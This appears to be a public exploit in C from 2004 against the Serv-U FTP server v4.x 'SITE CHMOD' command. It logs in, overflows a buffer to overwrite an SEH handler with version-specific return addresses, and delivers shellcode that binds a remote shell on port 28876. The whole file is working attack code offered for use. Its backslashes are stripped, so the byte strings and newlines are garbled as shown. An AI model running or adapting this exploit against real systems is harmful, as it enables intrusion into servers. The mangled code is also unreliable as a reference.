#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define exploit_length      511
#define NOP 'A'

#define SEH_handler_offset  400
char* SEH_handler     = "x41x41xEBx04"; // 3) jmp over next four bytes
char* retaddress_4004 = "xabx1cx5fx01"; // 1) libeay32.015f1cab
char* retaddress_4100 = "xcbx1cx41x01"; // 1) ssleay32.01411ccb
char* retaddress_4103 = "x8bx1dx41x01"; // 1) ssleay32.01411d8b

char* shellcode = 
  "xebx43x56x57x8bx45x3cx8bx54x05x78x01xeax52x8bx52"
  "x20x01xeax31xc0x31xc9x41x8bx34x8ax01xeex31xffxc1"
  "xcfx13xacx01xc7x85xc0x75xf6x39xdfx75xeax5ax8bx5a"
  "x24x01xebx66x8bx0cx4bx8bx5ax1cx01xebx8bx04x8bx01"
  "xe8x5fx5exffxe0xfcx31xc0x64x8bx40x30x8bx40x0cx8b"
  "x70x1cxadx8bx68x08x31xc0x66xb8x6cx6cx50x68x33x32"
  "x2ex64x68x77x73x32x5fx54xbbx71xa7xe8xfexe8x90xff"
  "xffxffx89xefx89xc5x81xc4x70xfexffxffx54x31xc0xfe"
  "xc4x40x50xbbx22x7dxabx7dxe8x75xffxffxffx31xc0x50"
  "x50x50x50x40x50x40x50xbbxa6x55x34x79xe8x61xffxff"
  "xffx89xc6x31xc0x50x50x35x02x01x70xccxfexccx50x89"
  "xe0x50x6ax10x50x56xbbx81xb4x2cxbexe8x42xffxffxff"
  "x31xc0x50x56xbbxd3xfax58x9bxe8x34xffxffxffx58x6a"
  "x10x54x50x56xbbx47xf3x56xc6xe8x24xffxffxffx31xdb"
  "x53x68x2ex63x6dx64x89xe1x41x50x50x50x53x53x31xc0"
  "xfexc4x40x50x53x53x53x53x53x53x53x53x53x53x6ax44"
  "x89xe6x50x55x53x53x53x53x54x56x53x53x53x43x53x4b"
  "x53x53x51x53x89xfdxbbx21xd0x05xd0xe8xe2xfexffxff"
  "x31xc0x48x8bx44x24x04xbbx43xcbx8dx5fxe8xd1xfexff"
  "xffx5dx5dx5dxbbx12x6bx6dxd0xe8xc4xfexffxffx31xc0"
  "x50x89xfdxbbx69x1dx42x3axe8xb5xfexffxff";

int sock;
FILE* FILEsock;
int doubling;

void send_command(char *command, char *arguments) {
  int i;
  send(sock, command, strlen(command), 0);
  send(sock, " ", 1, 0);
  for (i=0; i<strlen(arguments); i++) {
    send(sock, arguments+i, 1, 0);
    if (doubling && arguments[i] == 'xff') send(sock, arguments+i, 1, 0);
  }
  send(sock, "x0ax0d", 2, 0);
}

int main(int argc, char *argv[], char *envp[]) {
  struct sockaddr_in addr;
  char *outbuffer, inbuffer[256];
  char *retaddress = NULL;
  char *version = NULL;

  if (argc<5) {
    printf("Usage: %s IP PORT USERNAME PASSWORD [DIRECTORY]n", argv[0]);
    exit(-1);
  }

  printf("- Serv-ME ----------------------------------------------------n"
         "  Serv-U v4.x "site chmod" exploit.n"
         "  Written by SkyLined <SkyLined@EduP.TUDelft.nl>.n"
         "  Credits for the vulnerability go to ICBM <icbm@0x557.net>.n"
         "  Thanks to H D Moore for the shellcode (www.metasploit.com).n"
         "  Greets to everyone at 0dd and #netric.n"
         "  (K)(L)(F) for Suzan.n"
         "n"
         "  Binds a shell at %s:28876 if successfull.n"
         "  Tested with: v4.0.0.4, v4.1.0.0, v4.1.0.3 on W2K-EN.n"
         "--------------------------------------------------------------n",
           argv[1]);

  addr.sin_family = AF_INET;
  addr.sin_port = htons(atoi(argv[2]));
  addr.sin_addr.s_addr = inet_addr(argv[1]);

  printf("n[+] Connecting to %s:%s...n", argv[1], argv[2]);
  if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
    perror("Socket creation failed");
    exit(-1);
  }
  if (connect(sock, (struct sockaddr *)&addr, sizeof addr) == -1) {
    perror("Connection failed");
    exit(-1);
  }
  FILEsock = fdopen(sock, "r");
  printf("    --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
  if (strstr(inbuffer, "220 Serv-U FTP Server v4.") != inbuffer) {
    printf("[-] This is not a Serv-U v4.X ftp server.n");
    exit(-1);
  }
  if (strstr(inbuffer, "v4.1") > 0) {
    retaddress = retaddress_4103;
    version = "4.1.0.3";
  }

  printf("n[+] Login in as %s:%s...n", argv[3], argv[4]);
  send_command("USER", argv[3]);
  printf("    --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
  send_command("PASS", argv[4]);
  printf("    --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
  if (strstr(inbuffer, "230") != inbuffer) {
    printf("[-] Login failed.n");
    exit(-1);
  }

  if (argv[5]) {
    printf("n[+] Changing directory...n");
    send_command("CD", argv[5]);
    printf("    --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
  }

  outbuffer = (char*) malloc(exploit_length + strlen(shellcode));
  memset(outbuffer, NOP, exploit_length);
  memcpy(outbuffer+exploit_length, shellcode, strlen(shellcode));

  printf("n[+] Checking if \xff doubling is nescesary: ");
  send_command("SITE CHMOD 477", "-xffxff-");
  fgets(inbuffer, sizeof inbuffer, FILEsock);
  if (strchr(inbuffer, 'xff') == strrchr(inbuffer, 'xff')) {
    doubling = 1;
    printf("Yes.");
    retaddress = retaddress_4004;
    version = "4.0.0.4";
  } else {
    printf("No.");
    if (retaddress==NULL) {
      retaddress = retaddress_4100;
      version = "4.1.0.0";
    }
  }
  printf("n[+] Serv-U FTP server version %s: using retaddress 0x%08x",
                      version, *(int*)retaddress);
  memcpy(outbuffer + SEH_handler_offset, SEH_handler, strlen(SEH_handler));
  memcpy(outbuffer + SEH_handler_offset + 4, retaddress, strlen(retaddress));

  printf("n[+] Sending exploit... ");
  send_command("SITE CHMOD 477", outbuffer);
  printf("send, you can now try to connect to %s:28876.n", argv[1]);
  printf("    --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
  close(socket);
  printf("n[+] Done. n");
}


// www.Syue.com [2004-01-30]